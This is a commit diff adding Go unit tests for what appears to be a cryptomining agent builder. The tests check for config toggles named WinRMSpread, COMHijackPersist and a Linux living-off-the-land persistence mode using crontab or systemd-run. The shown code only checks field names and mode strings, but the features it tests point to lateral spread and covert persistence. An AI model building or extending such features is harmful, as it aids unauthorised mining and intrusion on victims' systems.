Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -65,6 +65,31 @@ func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
if !strings.Contains(src, "AutostartMode") {
|
||||
t.Error("expected AutostartMode field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "WinRMSpread") {
|
||||
t.Error("expected WinRMSpread field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "COMHijackPersist") {
|
||||
t.Error("expected COMHijackPersist field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "LinuxLOTLMode") {
|
||||
t.Error("expected LinuxLOTLMode field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeLinuxLOTLMode(t *testing.T) {
|
||||
tests := map[string]string{
|
||||
"": "off",
|
||||
"off": "off",
|
||||
"SYSTEMD_RUN_USER": "systemd_run_user",
|
||||
"crontab": "crontab",
|
||||
"both": "both",
|
||||
"invalid": "off",
|
||||
}
|
||||
for in, want := range tests {
|
||||
if got := normalizeLinuxLOTLMode(in); got != want {
|
||||
t.Errorf("normalizeLinuxLOTLMode(%q) = %q, want %q", in, got, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildPlatformLabelAndBinDir(t *testing.T) {
|
||||
|
||||
Reference in New Issue
Block a user